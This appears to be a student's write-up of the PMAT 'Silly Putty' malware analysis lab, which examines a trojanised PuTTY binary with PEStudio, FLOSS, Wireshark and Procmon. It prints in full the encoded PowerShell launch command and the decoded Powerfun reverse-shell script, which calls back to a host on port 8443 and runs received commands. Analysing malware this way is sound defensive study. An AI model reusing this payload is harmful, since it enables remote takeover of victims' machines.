Contents

Malware Analysis: PMAT - Silly Putty

Malware Analysis - PMAT - Silly Putty

Instructions

Hello Analyst,

The help desk has received a few calls from different IT admins regarding the attached program. They say that they've been using this program with no problems until recently. Now, it's crashing randomly and popping up blue windows when it's run. I don't like the sound of that. Do your thing!

IR Team

Basic static analysis

  • File hashes
  • VirusTotal
  • FLOSS
  • PEStudio
  • PEView

In PEStudio, we can see the hash of the file:

SHA256: 0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83

Still in PEStudio:

CPU architecture: 32-bit

With the SHA256, we can see that VirusTotal is showing us many results:

For this question, I am using floss:

floss.exe C:\Users\auteqia\Desktop\putty.exe > C:\Users\auteqia\Desktop\floss.exe

Appears to be the legitimate strings of the original PuTTY binary.

User-Key-File-3
PuTTY-User-Key-FUser-Key-File-2
User-Key-File-1
[...]
Release 0.76
-Release-0.76
1fd7baa7344bb38d62a024e5dba3a720c67d05cf
%s Security Alert
The first %s supported by the server
is %s, which is below the configured
warning threshold.
Do you want to continue with this connection?
%s Security Alert
The first host key type we have stored for this server
is %s, which is below the configured warning threshold.
The server also provides the following types of host key
above the threshold, which we do not have stored:
Do you want to continue with this connection?
%s Key File Warning
You are loading an SSH-2 private key which has an
old version of the file format. This means your key
file is not fully tamperproof. Future versions of
%s may stop supporting this private key format,
so we recommend you convert your key to the new
format.
You can perform this conversion by loading the key
into PuTTYgen and then saving it again.
The session log file "%.*s" already exists.
You can overwrite it with a new session log,
append your session log to the end of it,
or disable session logging for this session.
Hit Yes to wipe the file, No to append to it,
or Cancel to disable logging.
0123456789ABCDEF
{KEYTYPE}
{APPNAME}
config-proxy
Proxy error: Error while communicating with proxy
Connection/Proxy
sshtty
config-ssh-pty
Server refused to allocate pty
Allocated pty
Reset scrollback on display activity
identity
config-ssh-xauthority
config-serial-parity
Configuring %s parity
SerialParity
FontQuality
AddDllDirectory
Out of memory
[...]
-hostkey
config-telnetkey
config-ssh-kex-rekey
config-ssh-bug-rekey
GssapiRekey
publickey
errors-cant-load-key
putty-private-key-file-mac-key
cross-certifying new host key
Server refused our key
Encrypted session key
ssh.com SSH-2 private key
not a PuTTY SSH-2 private key
[...]
ComposeKey
Steady
cleanup after downstream went away
Disable bidirectional text display
X authority file for local display
X11Display
config-nodelay
TCPNoDelay
public_affine_y
public_y
Linux
PuTTYConfigBox
unix
display name '%s' has no ':number' suffix
gssapi-keyex
Local\putty-connshare-mutex
[...]
config-linedraw
winspool.drv
config-username-from-env
recv
Trying Pageant key #%zu
Configuring baud rate %lu
process id %lu

In PEStudio:

Few of the suspicious ones:

  • GetCurrentProcess
  • GetCurrentThread
  • ShellExecuteA
  • WriteFile
  • DeleteFileA
  • RegCreateKeyA
  • RegDeleteKeyA
  • GetClipboardData

As i’m a beginner in the malware analysis field, compared to the original, I can’t tell if the Import Address Table is suspicious. For example the GetClipboardData might be used for malicious purpose but the original PuTTY may be using it for legitimate purpose.

Still in PEStudio, we can check the sections’s size:

If there is a large difference between the virtual size and size of the raw data that’s an indicator that the exe was packed. For us, the size difference is not noticeable.

Basic dynamic analysis

  • Wireshark
  • Inetsim
  • Netcat
  • TCPView
  • Procmon

There’s a powershell window that spawns for about one second during the detonation:

And then the basic PuTTY window:

In Wireshark, we can see that a DNS query is executed:

bonus2.corporatebonusapplication.local: type A, class IN, addr 192.168.56.101

In ProcMon, I filtered on the Process Name to putty.exe and the operation Process Create which can help us to see the PowerShell payload:

And yes! Here is our payload:

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

A pretty base64-gzip encoded payload. Let’s break it down:

  • -nop : For NoProfile, do not execute the user profile. It reduces the logs
  • -w hidden : Hide the PowerShell Window. It do not work that well because we can see the PowerShell window spaws
  • -noni : For NonInteractive prompts
  • -ep bypass : Bypasses the execution policy
  • System.IO.Compression.GzipStream : Compress the data flow in Gzip format
  • FromBase64String : Decode from base64

So, as far as we can see, we can decode the payload to see what it is really doing.

Screenshot: Cyberchef

The decompressed payload:

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

It seems like the PuTTY.exe binary is spawning an instance of Powerfun, a Powershell reverse shell.

The main goal of this payload seems to establish an SSL reverse shell in order to encrypt the data over the network. With that, it will prevent anyone else to intercept the network traffic.

As we have seen earlier, the DNS query issued from the detonation is bonus2.corporatebonusapplication.local.

And for the port, it is 8443 as we an see in the PowerShell Payload: $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)

The callback protocol is TCP, following the $client variable: $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)

In Wireshark, we can see the FQDN of the attacker and the remote port 8443.

In TCPview, we can briefly see the remote connection on the TCP port 8443.

For this, we need to change the C:\Windows\System32\drivers\etc\hosts file to set the bonus2.corporatebonusapplication.local to localhost.

We can now listen on the port 8443 (on any interfaces):

Now we need to trigger the putty.exe binary and then we should get a callback!

In Wireshark, on localhost adapter because we changed the resolution to localhost in the hosts file, we now see that the protocol is TCP and TLS! The binary tries to set up the TLS mecanism with a Client Hello (see the SNI).

As we can see, the protocol for the questions 11 and 12 is TLS (over TCP, as we have seen).

Conclusion

This challenge was a good exercice for the course taken!